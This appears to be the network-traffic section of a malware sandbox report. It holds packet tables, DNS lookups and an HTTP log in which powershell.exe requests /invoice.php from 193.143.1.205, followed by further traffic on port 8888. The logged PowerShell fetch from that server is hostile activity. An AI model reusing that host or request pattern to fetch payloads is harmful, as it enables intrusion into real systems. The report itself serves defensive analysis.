Jan 11, 2025 06:07:52.254313946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254327059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254328012 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.254339933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254354954 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254380941 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.254396915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254406929 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.254409075 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254432917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254443884 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.254446030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254457951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.254509926 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.256304979 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.289741993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.289762974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.289774895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.289815903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.289827108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.289836884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.289849997 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.289864063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.289917946 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.289935112 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.289943933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.289954901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.289967060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.289978981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.289988041 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.289992094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290025949 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290065050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290076017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290086031 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290096998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290117025 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290160894 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290168047 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290179968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290190935 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290200949 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290220976 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290231943 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290337086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290349007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290359974 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290375948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290388107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290390015 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290416956 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290442944 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290477991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290489912 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290499926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290510893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290520906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290532112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290543079 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290545940 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290554047 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290565968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290579081 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290599108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290636063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290647984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290688038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.290983915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290993929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.290999889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291038990 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.291049004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291050911 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.291063070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291074038 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291115046 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.291178942 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291189909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291199923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291213036 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291224957 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.291239023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.291299105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291311026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291332960 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291343927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291354895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291362047 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.291367054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291379929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291392088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291392088 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.291429043 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.291454077 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291471004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291482925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291495085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.291496038 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.291520119 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.294682026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.294693947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.294704914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.294720888 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.294737101 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.294770956 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.306682110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.306731939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.306757927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.306770086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.306796074 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.306802988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.306864023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.306875944 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.341046095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341065884 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341078043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341150999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341156006 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.341198921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341211081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341228962 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.341250896 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.341398001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341409922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341420889 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341432095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341440916 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.341444016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341455936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341470003 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341479063 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.341496944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341502905 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.341510057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341521025 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341532946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341536045 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.341542959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.341557026 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.341579914 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.358484983 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.387418032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387501001 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387535095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387567997 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387593031 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.387664080 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387665987 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.387715101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387748957 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387790918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387799025 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.387862921 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387896061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387919903 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.387932062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387938976 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.387965918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.387998104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388024092 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.388072014 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388106108 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388118982 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.388139009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388170958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388216019 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.388253927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388287067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388319016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388331890 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.388353109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388385057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388396025 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.388417959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388430119 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.388452053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388515949 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.388530016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388562918 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388595104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388607979 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.388694048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388726950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388757944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388768911 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.388844967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388879061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388892889 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.388911963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388920069 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.388946056 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388978958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.388994932 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389010906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389043093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389075994 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389089108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389107943 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389139891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389153004 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389173985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389184952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389208078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389240026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389251947 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389272928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389306068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389322996 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389341116 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389375925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389406919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389427900 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389441013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389456034 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389473915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389506102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389520884 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389538050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389570951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389583111 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389599085 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389631033 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389662981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389674902 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389694929 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389704943 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389729023 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389761925 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389794111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389802933 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389827967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389861107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389873981 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389894009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389904022 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389928102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389960051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.389974117 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.389992952 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.390028000 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.390036106 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.390062094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.390094995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.390137911 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.400801897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.400854111 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.400887012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.400918961 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.400937080 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.400959969 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.400973082 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.400990009 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.401015043 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.427647114 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427671909 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427684069 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427741051 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.427762032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427774906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427799940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427812099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427824020 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.427829027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427840948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427870989 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427881956 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427884102 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.427896023 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.427915096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427927971 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.427949905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.427959919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.428000927 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.428035975 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.428047895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.428059101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.428070068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.428086042 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.428098917 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.428114891 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.428127050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.428160906 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.463165998 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463202000 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463244915 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463287115 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.463332891 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.463356018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463390112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463442087 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.463473082 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463505030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463555098 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463568926 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.463588953 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463622093 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463653088 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463666916 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.463687897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463721037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463731050 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.463754892 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463763952 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.463789940 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463824034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463834047 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.463856936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:52.463901043 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.536050081 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.549803019 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:52.835632086 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:53.462707996 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:53.467607021 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:53.467679977 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:53.467856884 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:53.472557068 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:54.283461094 CET	8888	49701	193.143.1.205	192.168.2.7
Jan 11, 2025 06:07:54.324158907 CET	49701	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 06:07:54.601757050 CET	49701	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:08:01.039067030 CET	64662	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:08:01.039067030 CET	192.168.2.7	1.1.1.1	0x4338	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:08:01.047499895 CET	1.1.1.1	192.168.2.7	0x4338	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:08:01.743185997 CET	1.1.1.1	192.168.2.7	0x13a5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:08:01.743185997 CET	1.1.1.1	192.168.2.7	0x13a5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	193.143.1.205	80	6776	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:07:50.776042938 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
